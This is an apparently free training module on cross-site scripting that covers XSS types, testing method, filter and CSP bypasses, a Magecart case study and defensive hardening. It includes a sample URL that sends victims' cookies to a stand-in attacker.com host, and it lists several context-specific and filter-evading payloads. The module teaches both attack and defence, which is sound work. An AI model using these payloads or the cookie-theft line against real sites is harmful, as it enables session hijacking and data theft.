Module 5 · Cross-Site Scripting (XSS) in 2026

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 19, 2026
11 min read
Read as

Last updated: May 1, 2026

100% Free

No signup. No paywall. No catch. One of our 10 most-requested practitioner modules — published in full so anyone can learn for free. We earn through consulting, not by gating knowledge.

See all 10 free modules →

Reflected, stored, and DOM-based XSS in 2026. Filter bypasses, CSP deep-dive, and the real impact beyond alert(1). Pro module.
🎯 WEB APP PENTEST PATH
MEDIUM
🔐 PRO
⏱ 90 min
Module 5 of 8

What you’ll learn

  • How XSS actually exploits the same-origin trust model
  • Reflected, stored, and DOM-based XSS — each requires different thinking
  • Filter bypass techniques that work against modern defences
  • CSP deep-dive — what it protects, what it misses, how to bypass
  • Real-world XSS impact in 2026 — beyond alert(1) to session theft, MFA bypass, cryptocurrency theft

Prerequisites: Modules 1–4.

XSS is the most misunderstood vulnerability class in web security. Developers think alert(1) is the exploit. It isn’t — alert(1) is the proof of concept. The exploit is what you do with JavaScript execution in the victim’s browser context. In 2026, that includes stealing session cookies, defeating MFA prompts in real time, siphoning crypto wallet keys via malicious browser extensions injected through XSS, and silently re-writing transactions before users confirm them.

Modern frameworks (React, Vue, Angular) escape HTML output by default. This prevented the trivial XSS of 2010. But developers routinely punch holes in the escaping — dangerouslySetInnerHTML, v-html, [innerHTML] bindings — and the 2026 XSS attack surface lives in those holes. This module teaches you to find them.

The three XSS types

Reflected XSS

User input in a URL parameter or form submission is reflected into the response page without proper escaping. The attack requires tricking the victim into clicking a crafted URL.

https://target.example.com/search?q=<script>document.location='https://attacker.com/?c='+document.cookie</script>

If the search page reflects q into the HTML unescaped, the victim’s browser executes the script when they click the link.

Impact in 2026: usually requires social engineering (link clicks). Lower severity than stored XSS, but combined with URL shorteners and phishing, still lands payloads on real users.

Stored XSS

User input is saved to the database (comment, profile bio, product review, support ticket) and later rendered to other users without escaping. The attacker injects once; every visitor executes the payload.

Highest-impact XSS class. The canonical attack: attacker posts a malicious comment on a forum; every visitor who views the comment page has their session cookie stolen. For internal apps (ticketing systems, admin dashboards), stored XSS landing in an admin’s view = admin compromise.

DOM-based XSS

The vulnerability is entirely client-side. User-controlled input flows from a source (location.hash, document.referrer, localStorage) into a sink (innerHTML, document.write, eval) via JavaScript, without server involvement.

// Vulnerable page code:
document.getElementById('output').innerHTML = location.hash.substring(1);

// Attack URL:
https://target.example.com/page#<img src=x onerror=alert(1)>

Because the server never sees the payload (hash fragments aren’t sent in HTTP requests), server-side XSS filters don’t help. Client-side frameworks and strict CSP are the main defences.

Finding XSS — the methodology

For every input the application reflects back in a page (anywhere — HTML body, attribute values, URL parameters used in JavaScript, href attributes, inline styles):

  1. Inject a probe string: "'<>xss-test-12345. Observe which characters appear in the response as-is vs escaped.
  2. Determine the reflection context: inside HTML? inside an attribute? inside a <script> block? inside a URL? Different contexts need different payloads.
  3. Craft a payload for the specific context.
  4. Test filter bypass if the payload is filtered.

Context-specific payloads

  • HTML body: <img src=x onerror=alert(1)>
  • HTML attribute (double-quoted): break out with "><script>alert(1)</script>
  • HTML attribute (single-quoted): break out with '><script>alert(1)</script>
  • JavaScript string (double-quoted): break out with ";alert(1);"
  • JavaScript string (single-quoted): break out with ';alert(1);'
  • URL context (e.g. href, action): javascript:alert(1)
  • CSS context: expression(alert(1)) on old IE; url("javascript:alert(1)") in some browsers

Filter bypass techniques

Applications often blacklist dangerous strings. Blacklists are fragile; bypass techniques that work in 2026:

Case variation

If filter blocks <script>, try <ScRiPt>, <SCRIPT>. Browsers are case-insensitive; naïve filters aren’t.

Alternative tags

Block <script>? Use <img src=x onerror=...>, <svg onload=...>, <iframe src=javascript:...>, <details open ontoggle=...>, <input autofocus onfocus=...>.

Encoding

HTML entity encoding: &lt;script&gt;. URL encoding: %3Cscript%3E. Unicode: some parsers normalize Unicode homoglyphs.

Nested tags (parser confusion)

<scr<script>ipt>alert(1)</scr</script>ipt> — when the filter strips <script> literally, what remains is <script>alert(1)</script>.

Event handlers without spaces

<img/src=x/onerror=alert(1)> — slashes act as attribute separators, evading space-based filters.

JavaScript without parentheses

<img src=x onerror=alert`1`> — template literals replace parentheses.

Content Security Policy (CSP)

CSP is the browser-side defence that tells the browser what scripts it’s allowed to execute. A strong CSP makes XSS much harder to exploit even when injection succeeds.

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-rAnd0mNonce';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';

Key directives:

  • script-src — whitelists script sources. Inline scripts blocked unless a nonce or hash matches.
  • default-src — fallback for all fetch directives
  • object-src 'none' — blocks legacy plugin abuse
  • base-uri 'self' — prevents <base> tag injection
  • frame-ancestors — clickjacking prevention (CSP equivalent of X-Frame-Options)

CSP bypasses that still work

CSPs are often written loosely. Common failure modes:

  • Wildcards: script-src *.cloudflareinsights.com — if any subdomain allows arbitrary scripts (e.g., a JSONP endpoint), the CSP is bypassable.
  • Unsafe-inline: script-src 'self' 'unsafe-inline' — defeats the whole purpose. Still seen in real sites.
  • Unsafe-eval: allows eval(), defeating protection against scripts built from strings.
  • JSONP endpoints on whitelisted domains: if script-src includes https://accounts.google.com and that domain has a JSONP endpoint that returns arbitrary callbacks, attacker chains through it.
  • Framework bypasses: Angular’s $scope.$eval has been a CSP escape in older versions.

Use a CSP evaluator (Google’s csp-evaluator.withgoogle.com) to audit policies. Weak CSP is a finding.

Impact — what XSS actually does in 2026

  • Session theftdocument.cookie exfiltration (if HttpOnly isn’t set)
  • In-memory session hijack — with HttpOnly cookies, attacker uses fetch() to make authenticated requests directly from victim’s session, no cookie theft needed. Data exfiltrated via the page’s own origin.
  • MFA bypass — XSS can read MFA codes as they’re entered (if the MFA is typed into the same page)
  • Credential phishing — XSS injects a fake login form on the real site; victim types credentials; attacker captures
  • Cryptocurrency theft — via browser extension XSS, modify wallet addresses in outbound transactions
  • Persistent backdoor — XSS registers a service worker that persists across sessions and can intercept future requests

Exercises

1. Find reflected XSS in a lab. Complete PortSwigger Web Security Academy’s XSS lab series. Start with the first reflected-XSS labs; progress through context-specific bypasses.

2. Audit a real CSP. Pick three production sites. Capture their Content-Security-Policy headers. Run each through csp-evaluator.withgoogle.com. Which one has the weakest policy, and what class of XSS would most likely land?

3. DOM XSS hunt. In Burp Suite, use the DOM Invader extension on any single-page application. Identify any controllable sources that flow into dangerous sinks.

Check your understanding

  • Why is DOM-based XSS server-filter-immune?
  • What’s the difference between HttpOnly protection and CSP protection against XSS?
  • Why does a CSP with 'unsafe-inline' fail to prevent XSS?
  • In 2026, what’s the more impactful post-XSS attack: cookie theft or in-memory session hijack?

Key takeaways

  • Three XSS types: reflected, stored, DOM-based — each requires different testing approach.
  • Context determines payload. HTML body ≠ attribute ≠ JavaScript string.
  • Filter blacklists are fragile; encoding, case, alternative tags all bypass.
  • CSP is a strong defence when strict; weak CSP gives false confidence.
  • 2026 XSS impact is in-memory session hijack, credential phishing, and service-worker persistence — not just cookie theft.

Take the 20-question quiz below to confirm your understanding. Pass with 70%+ to mark this module complete. Unlimited retries.

🧠
Check your understanding

Module Quiz · 20 questions

Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.

Up next
Module 6 · IDOR & Authorization Bypass

Continue →

Real-World Case Study: British Airways / Magecart, 2018

The story. 380,000 BA customer payment-card records harvested over 15 days. UK ICO initially fined BA £183 million — reduced to £20M on appeal, but the largest GDPR fine at the time. The attackers were Magecart Group 6.

The technical chain.

  1. Magecart compromised Modernizr, a third-party JavaScript library BA loaded from baways.com.
  2. They modified 22 lines of JS to add a second form-submit handler that POST’d card details to baways.com/dataprocessing/img.gif (a typosquat of britishairways.com).
  3. BA’s checkout page loaded the modified script — same-origin from BA’s perspective.
  4. Every checkout submission triggered two requests: one to BA, one to the attacker.
  5. Cards exfiltrated in cleartext, base64-encoded for stealth.

Why this is XSS. Magecart isn’t “stored XSS” or “reflected XSS” — it’s supply-chain XSS. The attacker injected JavaScript by compromising the supply chain instead of an input field. Modern XSS prevention has to assume your CDN, your npm dependencies, and your third-party tags are compromised.

The defences that would have caught this.

  • Subresource Integrity (SRI)<script src="..." integrity="sha384-..."> would have refused to execute the modified Modernizr.
  • Content-Security-Policyconnect-src 'self' would have blocked the exfil request to baways.com.
  • Real-time JS monitoring — page-integrity tools (e.g. Feroot, Reflectiz) flag third-party script changes within minutes.

The takeaway. If you run a checkout page, every third-party script is a present-tense attacker. Pin SRI hashes. Lock down CSP. Audit script changes weekly.


⚙ Optimisation · Performance · Security — extended

Practical depth on what to tune, what to harden, and how this maps to Indian regulatory expectations.

XSS in the modern stack — how frameworks shifted the game

React, Vue, Angular, and Svelte all auto-escape interpolated values; the classic “echo user input directly” XSS is gone in greenfield code. The 2026 XSS surface:

1dangerouslySetInnerHTML / v-html / [innerHTML] — explicit opt-out of escaping; safe only with sanitised input.
2URL handlers — href="javascript:..." still works in many frameworks if a user controls the URL.
3DOM XSS — client-side reads from URL hash, postMessage, or localStorage and writes to DOM.
4Markdown / WYSIWYG editors — sanitise output, not just input; use DOMPurify.
5Old PHP, classic ASP, JSP — still abundant in Indian government and BFSI legacy stacks. The 2026 audit: grep for dangerouslySetInnerHTML, eval, innerHTML, document.write; review each instance for sanitisation.

CSP — the meaningful defence, configured properly

Content-Security-Policy is the only XSS mitigation that scales. Modern CSP recipe:

1Nonce-based for inline scripts: every legitimate inline script gets a per-request nonce; CSP allows only scripts with that nonce.
2strict-dynamic: nonce-trusted scripts can load further scripts; eliminates the host-allow-list pain.
3object-src ‘none’: blocks Flash, applets.
4base-uri ‘self’: blocks <base>-tag injection.
5frame-ancestors ‘none’ or specific origins: replaces X-Frame-Options.
6report-uri or report-to: collect violations to a SIEM endpoint; tune over weeks. Incremental rollout: deploy in Content-Security-Policy-Report-Only mode, collect violations for 30+ days, fix gaps, then enforce. CSP without report-collection is rarely production-ready first try.

Operational checklist for XSS prevention

1Use a framework that auto-escapes (React, Vue, Angular); audit every escape-hatch use.
2Sanitise rich-text with DOMPurify on output, not input.
3Implement strict CSP with nonces; report-only mode first.
4Set HttpOnly on session cookies — XSS cannot steal them via document.cookie.
5Set Trusted Types headers (Chrome 83+) for the highest-trust apps.
6Run Semgrep / CodeQL XSS rules in CI.
7Periodic DAST run (Burp Suite Pro, OWASP ZAP) against staging.
8Subresource Integrity on every external script; defends against compromised CDN.
9Log and alert on CSP violations — your top page loads in production reveal real-time XSS attempts.

Detection and India context

WAF rulesModSecurity OWASP CRS catches common payloads (<script>, onerror=, javascript: URLs); tune for your app.

CSP report endpointviolations include the source URL and offending directive — invaluable for catching new XSS attempts and regression introductions.

SOC alertingspike in CSP reports for one page = active attempt.

For DPDP-regulated Indian appsa successful XSS that exfiltrates session tokens or PII is a personal-data breach with the same notification requirements as SQLi.

Bounty / disclosuremost Indian fintechs and government portals now run private vulnerability-disclosure programmes; XSS findings via these channels are a defensible and lower-risk path to remediation than direct contact.

XSS taxonomy — three classes, three defences
  Reflected XSS   ── input echoed unsanitised in response
                     defence: framework escape + CSP

  Stored XSS      ── input persisted to DB, served to other users
                     defence: sanitise on output (DOMPurify) + CSP

  DOM XSS         ── client-side JS reads tainted source, writes sink
                     defence: avoid innerHTML, use textContent;
                     Trusted Types blocks the dangerous sink entirely

Further reading

Additional FAQs

Does HTTPS prevent XSS?

No. HTTPS protects data in transit; XSS is an injection bug at the application layer. Many high-profile XSS vulnerabilities have lived on HTTPS sites. Treat XSS as orthogonal to transport security.

Is "sanitisation" the same as "escaping"?

Different. Escape output for context (HTML body, attribute, JS string, URL); the framework usually does this. Sanitise rich HTML by parsing and stripping dangerous elements/attributes (DOMPurify). Both have their place; conflating them produces bugs.

Should I run a self-XSS dialog warning?

Big sites (Facebook, GitHub) do — discourages users from pasting attacker-supplied JS into devtools. Justified at scale; overkill for most apps. Better to make sure session cookies are HttpOnly so paste-XSS does not yield a session.

Want this for your team?

Custom team training + practitioner advisory

Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.

Book team training call Replies in 4 working hrs · India-only · Senior consultants